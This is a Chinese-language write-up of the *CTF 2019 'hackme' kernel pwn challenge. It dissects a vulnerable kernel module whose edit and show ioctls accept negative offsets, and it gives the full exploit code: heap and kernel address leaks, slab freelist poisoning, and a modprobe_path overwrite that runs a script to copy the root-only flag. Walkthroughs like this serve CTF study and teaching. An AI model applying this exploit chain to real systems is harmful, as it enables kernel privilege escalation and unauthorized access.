starctf 2019 hackme

starctf 2019的一道kernel pwn的题目。照着官方和p4nda大佬的exp复盘一下。

题目描述

题目提供了四个功能,类似于堆的管理,add、show、edit和delete,在hackme_ioctl函数中。在整个交互过程中涉及到两个结构体,一个是用户参数结构体args,一个是存储堆块信息的结构体,具体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
00000000 note_unit       struc ; (sizeof=0x10, mappedto_3)
00000000 ptr dq ?
00000008 size dq ?
00000010 note_unit ends
00000010
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 args struc ; (sizeof=0x20, mappedto_4)
00000000 idx dq ?
00000008 user_ptr dq ?
00000010 size dq ?
00000018 offset dq ?
00000020 args ends

首先看add note功能,根据用户参数size调用_kmalloc函数动态分配,pool全局数组中存储note_unit数据结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ( v3 != 0x30000 )                          // add
return -1LL;
size = args_size;
user_ptr = args_user_ptr;
v12 = (note_unit *)&pool[2 * v19];
if ( v12->ptr )
return -1LL;
v18 = _kmalloc(args_size, 0x6000C0LL);
if ( !v18 )
return -1LL;
v12->ptr = v18;
copy_from_user(v18, user_ptr, size);
v12->size = size;
return 0LL;

edit note功能中根据索引进行edit,这里有一个漏洞,在edit时会进行检查,当args_offset + args_size小于等于pool全局数组中存储的size(add时的size),整个check虽然保证了不能向后越界,但是如果args_offset是负数时,同样可以通过check,就可以覆写目标note前面的内容。

1
2
3
4
5
6
7
8
9
10
11
if ( v3 == 0x30002 )                        // edit
{
v9 = 2LL * v19;
v10 = pool[v9];
v11 = (note_unit *)&pool[v9];
if ( v10 && (unsigned __int64)(args_offset + args_size) <= v11->size )// vul here
{
copy_from_user(args_offset + v10, args_user_ptr, args_size);
return 0LL;
}
}

同样在show note中,也有一个同样的check,但是同样阻止不了向前泄露。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
else if ( v3 == 0x30003 )                   // show
{
v5 = 2LL * v19;
v6 = pool[v5];
v7 = (note_unit *)&pool[v5];
if ( v6 )
{
if ( (unsigned __int64)(args_offset + args_size) <= v7->size )// vul here
{
copy_to_user(args_user_ptr, args_offset + v6, args_size);
return 0LL;
}
}
}

delete note 根据索引进行删除:

1
2
3
4
5
6
7
8
9
10
11
12
13
if ( v3 == 0x30001 )                          // delete
{
v15 = 2LL * v19;
v16 = pool[v15];
v17 = (note_unit *)&pool[v15];
if ( v16 )
{
kfree(v16, v4);
v17->ptr = 0LL;
return 0LL;
}
return -1LL;
}

这样其实我们的漏洞已经出来了,利用show和edit拥有了向前任意地址读写的能力。

利用过程

官方exp里利用了修改modprobe_path,然后利用一个格式错误的ELF文件触发,从而读取flag。当内核运行一个错误格式的文件时,会调用modprobe_path指向的二进制文件。
这里涉及到了内核的动态内存分配,对于小块内存是基于slab分配器来进行分配的,对于相同大小的空闲内存块,它以先进后出的单链表的形式存储,堆块的首地址指向下一个空闲的相同大小的内存块,偏移0x8处存储大小。
首先初始化分配5个大小为0x100的堆块。

1
2
3
4
5
6
7
8
9
char *mem = malloc(0x1000);
memset(mem,'a',0x100);
//kmalloc
add_note(fd,0,mem,0x100);
memset(mem,'b',0x100);
add_note(fd,1,mem,0x100);
add_note(fd,2,mem,0x100);
add_note(fd,3,mem,0x100);
add_note(fd,4,mem,0x100);

当删除了note1和note3之后,空闲链表是note3->note1,此时我们可以通过show note4将note3的fd指针进行泄露,这样泄露了堆地址,其实是note1的起始地址。

1
2
3
4
 //leak heap addr
show_note(fd,4,mem,0x100,-0x100); //leak chunk1 base
heap_addr = *((size_t *)mem);
printf("[+]heap_addr: 0x%lx\n",heap_addr);

内核基址的泄露可以通过在note0向前寻找,这里存储着一些内核申请的系统堆块,可能存在一些内核地址,这里使用的是sysctl_table_root这个变量的地址,它是一个类型为ctl_table_root的结构体:

1
2
3
4
5
6
7
8
9
gdb-peda$ x /20gx 0xffff8a1a40188500-0x200
0xffff8a1a40188300: 0xffff8a1a40188378 0x0000000100000000
0xffff8a1a40188310: 0x0000000000000001 0x0000000000000000
0xffff8a1a40188320: 0xffff8a1a40188378 0xffffffffb5e49ae0
0xffff8a1a40188330: 0xffffffffb5e49ae0 0xffff8a1a40015100
0xffff8a1a40188340: 0xffff8a1a40188358 0x0000000000000000

/ # cat /proc/kallsyms | grep ffffffffb5e49ae0
ffffffffb5e49ae0 d sysctl_table_root

对应exp中的内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
//leak kernel addr
memset(mem,0,0x100);
show_note(fd,0,mem,0x200,-0x200);
kernel_addr = *((size_t *)(mem+0x28)); //sysctl_table_root
printf("leak sysctl_table_root addr: 0x%lx\n",kernel_addr);

if(kernel_addr & 0xfff != 0xae0){
printf("[-]kernel addr leak failed [0x%lx]\n",kernel_addr);
exit(-1);
}
kernel_addr -= 0x849ae0;
printf("kernel_addr: 0x%lx\n",kernel_addr);

泄露了地址之后,我们如果要进行任意地址读写,在glibc中的fastbin attack中,通常是修改fd指针,然后多次分配分配到目标地址,然后进行覆写。同样在内核中也是这样利用。利用edit note4就可以修改note3的fd指针,这里将fd修改为mod_tree+0x40,因为mod_tree处存放着各个加载模块的地址,分配两次分配到mod_tree+0x40这块内存,mod_tree+0x18处存储了模块加载基址,因为我们可以向前泄露,所以可以分配mod_tree+0x40处,然后设置offset为负数,向前泄露模块加载基址:

1
2
3
4
5
6
7
8
9
10
11
/ # lsmod   
hackme 16384 - - Live 0xffffffffc03ea000 (O) //module_base
/ # cat /proc/kallsyms | grep mod_tree
ffffffffb566df00 t __mod_tree_remove
ffffffffb566e720 t __mod_tree_insert
ffffffffb5e11000 d mod_tree
gdb-peda$ x /8gx 0xffffffffb5e11000
0xffffffffb5e11000: 0x0000000000000006 0xffffffffc03ec320
0xffffffffb5e11010: 0xffffffffc03ec338 0xffffffffc03ea000 //here
0xffffffffb5e11020: 0xffffffffc03f0000 0x0000000000000000
0xffffffffb5e11030: 0x0000000000000000 0x0000000000000000

对应exp的内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//modify idx3->fd to alloc mod_tree_addr+0x40
memset(mem,'a',0x100);
//cat /proc/kallsyms | grep mod_tree
mod_tree_addr = kernel_addr + 0x811000;
*((size_t *)mem) = (mod_tree_addr + 0x40); //mod_tree+0x40
edit_note(fd,4,mem,0x100,-0x100); //write idx3->fd
add_note(fd,5,mem,0x100); //idx5 == idx3
add_note(fd,6,mem,0x100); //alloc mod_tree+0x40

//leak code_base
memset(mem,0,0x100);
show_note(fd,6,mem,0x40,-0x40);
code_base = *((size_t *)(mem+0x18));
printf("[+]mod_tree_addr: 0x%lx\n",code_base);

再次修改fd指针指向bss段上的全局数组pool,pool数组上存储了note的地址和大小,通过修改pool可以将note的地址修改为我们的目标地址,以达到任意地址写的目的。

1
2
3
4
5
6
7
8
9
//modify idx5->fd to bss_pool+0xc0
delete_note(fd,2);
delete_note(fd,5); //idx5 == idx3

size_t bss_pool = code_base + 0x2400;
*((size_t *)mem) = bss_pool + 0xc0;
edit_note(fd,4,mem,0x100,-0x100); //modify idx5->fd to bss_pool+0xc0
add_note(fd,7,mem,0x100);
add_note(fd,8,mem,0x100); //alloc bss_pool

然后通过edit note8将pool+0xc0修改为modprobe_path所在地址,然后edit note 0xc就可以覆写modprobe_path。

1
2
3
4
5
//cat /proc/kallsyms | grep modprobe_path
size_t modprobe_path = kernel_addr + 0x83f960;
*((size_t *)(mem + 0x8)) = 0x100;
*((size_t *)mem) = (modprobe_path);
edit_note(fd,8,mem,0x10,0);

这里将modprobe_path修改为/home/pwn/copy.sh这个脚本,这个脚本的作用是将目标flag复制到/home/pwn/flag路径下,并修改其权限为777,非root模式下也可以读取,然后生成一个二进制文件/home/pwn/dummy,并将其起始的四个字节修改为’\xff\xff\xff\xff’,然后执行这个二进制文件,ELF文件格式错误触发modprobe_path,得到复制的flag,然后读取flag。

1
2
3
4
5
6
7
8
9
10
11
12
//modprobe_path -> "/home/pwn/copy.sh\0"
strncpy(mem,"/home/pwn/copy.sh\0",18);
edit_note(fd,0xc,mem,18,0);

//write copy.sh and execute error elf
//execute /home/pwn/copy.sh
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");
system("/home/pwn/dummy");
system("cat /home/pwn/flag");

参考

http://p4nda.top/2019/05/01/starctf-2019-hackme/
https://xz.aliyun.com/t/6067
https://www.jianshu.com/p/a2259cd3e79e